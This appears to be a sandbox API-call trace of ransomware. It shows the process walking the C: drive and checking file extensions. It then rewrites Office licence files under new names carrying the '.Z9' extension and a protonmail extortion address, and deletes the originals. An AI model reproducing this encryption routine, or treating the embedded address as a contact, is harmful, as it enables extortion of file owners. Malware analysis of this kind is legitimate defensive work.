	[0187.929] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.929] lstrlenW (lpString=".ppt") returned 4
	[0187.929] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.929] lstrlenW (lpString=".zip") returned 4
	[0187.929] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString=".rar") returned 4
	[0187.929] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString=".bz2") returned 4
	[0187.929] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString=".7z") returned 3
	[0187.929] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.929] lstrlenW (lpString=".dbf") returned 4
	[0187.929] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.929] lstrlenW (lpString=".1cd") returned 4
	[0187.929] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.929] lstrlenW (lpString=".jpg") returned 4
	[0187.929] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.930] lstrlenW (lpString=".doc") returned 4
	[0187.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString=".docx") returned 5
	[0187.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.930] lstrlenW (lpString=".pdf") returned 4
	[0187.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString=".xls") returned 4
	[0187.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString=".xlsx") returned 5
	[0187.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.930] lstrlenW (lpString=".ppt") returned 4
	[0187.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.930] lstrlenW (lpString=".zip") returned 4
	[0187.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString=".rar") returned 4
	[0187.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString=".bz2") returned 4
	[0187.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString=".7z") returned 3
	[0187.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.930] lstrlenW (lpString=".dbf") returned 4
	[0187.930] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.930] lstrlenW (lpString=".1cd") returned 4
	[0187.930] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.930] lstrlenW (lpString=".jpg") returned 4
	[0187.930] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.931] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.931] lstrlenW (lpString="O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 41
	[0187.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.931] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11651) returned 1
	[0187.931] CloseHandle (hObject=0x540) returned 1
	[0187.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0187.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.932] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.932] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0187.933] GetLastError () returned 0x0
	[0187.933] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0187.984] WriteFile (in: hFile=0x384, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0187.986] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.986] WriteFile (in: hFile=0x384, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x126, lpOverlapped=0x0) returned 1
	[0187.986] SetEndOfFile (hFile=0x384) returned 1
	[0187.986] CloseHandle (hObject=0x384) returned 1
	[0187.987] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.987] SetEndOfFile (hFile=0x540) returned 1
	[0187.990] CloseHandle (hObject=0x540) returned 1
	[0187.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.992] lstrlenW (lpString=".doc") returned 4
	[0187.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString=".docx") returned 5
	[0187.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.992] lstrlenW (lpString=".pdf") returned 4
	[0187.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString=".xls") returned 4
	[0187.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString=".xlsx") returned 5
	[0187.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.992] lstrlenW (lpString=".ppt") returned 4
	[0187.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.992] lstrlenW (lpString=".zip") returned 4
	[0187.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString=".rar") returned 4
	[0187.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString=".bz2") returned 4
	[0187.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.992] lstrlenW (lpString=".7z") returned 3
	[0187.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString=".dbf") returned 4
	[0187.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString=".1cd") returned 4
	[0187.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString=".jpg") returned 4
	[0187.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString=".doc") returned 4
	[0187.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString=".docx") returned 5
	[0187.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.993] lstrlenW (lpString=".pdf") returned 4
	[0187.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString=".xls") returned 4
	[0187.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString=".xlsx") returned 5
	[0187.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.993] lstrlenW (lpString=".ppt") returned 4
	[0187.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString=".zip") returned 4
	[0187.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString=".rar") returned 4
	[0187.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString=".bz2") returned 4
	[0187.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString=".7z") returned 3
	[0187.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.993] lstrlenW (lpString=".dbf") returned 4
	[0187.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.994] lstrlenW (lpString=".1cd") returned 4
	[0187.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0187.994] lstrlenW (lpString=".jpg") returned 4
	[0187.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.994] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.994] lstrlenW (lpString="O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 41
	[0187.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.995] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11651) returned 1
	[0187.995] CloseHandle (hObject=0x540) returned 1
	[0187.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0187.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0188.025] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.025] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0188.026] GetLastError () returned 0x0
	[0188.026] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0188.055] WriteFile (in: hFile=0x384, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0188.056] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.056] WriteFile (in: hFile=0x384, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x126, lpOverlapped=0x0) returned 1
	[0188.056] SetEndOfFile (hFile=0x384) returned 1
	[0188.140] CloseHandle (hObject=0x384) returned 1
	[0188.141] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.141] SetEndOfFile (hFile=0x540) returned 1
	[0188.368] CloseHandle (hObject=0x540) returned 1
	[0188.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1
	[0188.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.370] lstrlenW (lpString=".doc") returned 4
	[0188.370] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString=".docx") returned 5
	[0188.370] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.370] lstrlenW (lpString=".pdf") returned 4
	[0188.370] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString=".xls") returned 4
	[0188.370] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString=".xlsx") returned 5
	[0188.370] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.370] lstrlenW (lpString=".ppt") returned 4
	[0188.370] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.370] lstrlenW (lpString=".zip") returned 4
	[0188.370] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString=".rar") returned 4
	[0188.370] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString=".bz2") returned 4
	[0188.370] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString=".7z") returned 3
	[0188.370] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.370] lstrlenW (lpString=".dbf") returned 4
	[0188.370] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.370] lstrlenW (lpString=".1cd") returned 4
	[0188.370] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.370] lstrlenW (lpString=".jpg") returned 4
	[0188.371] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.371] lstrlenW (lpString=".doc") returned 4
	[0188.371] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString=".docx") returned 5
	[0188.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.371] lstrlenW (lpString=".pdf") returned 4
	[0188.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString=".xls") returned 4
	[0188.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString=".xlsx") returned 5
	[0188.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.371] lstrlenW (lpString=".ppt") returned 4
	[0188.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.371] lstrlenW (lpString=".zip") returned 4
	[0188.371] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString=".rar") returned 4
	[0188.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString=".bz2") returned 4
	[0188.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString=".7z") returned 3
	[0188.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.371] lstrlenW (lpString=".dbf") returned 4
	[0188.371] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.371] lstrlenW (lpString=".1cd") returned 4
	[0188.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0188.372] lstrlenW (lpString=".jpg") returned 4
	[0188.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.372] lstrlenW (lpString=".id-") returned 4
	[0188.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x770228 | out: hHeap=0x710000) returned 1
	[0188.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7adb58 | out: hHeap=0x710000) returned 1
	[0188.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fb0048 | out: hHeap=0x710000) returned 1
	[0188.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fc0050 | out: hHeap=0x710000) returned 1
	[0188.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x41bd020 | out: hHeap=0x710000) returned 1
	[0188.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x770000 | out: hHeap=0x710000) returned 1
	[0188.378] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068d48
	[0188.378] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068d48, Size=0x20) returned 0x392a128
	[0188.378] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.378] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fc0
	[0188.378] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.378] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.378] Wow64DisableWow64FsRedirection (in: OldValue=0x35eff50 | out: OldValue=0x35eff50*=0x1) returned 1
	[0188.378] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1
	[0188.378] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x392a128 | out: hHeap=0x710000) returned 1

Thread:
	id = 49
	os_tid = 0xdac

	[0159.716] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3fd2730
	[0159.716] lstrlenW (lpString="C:") returned 2
	[0159.716] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x372fcf8 | out: lpFindFileData=0x372fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x76e7e8
	[0159.717] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0159.717] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0159.717] lstrlenW (lpString="$GetCurrent") returned 11
	[0159.717] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0159.717] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3fe2738
	[0159.717] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0159.717] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76e628
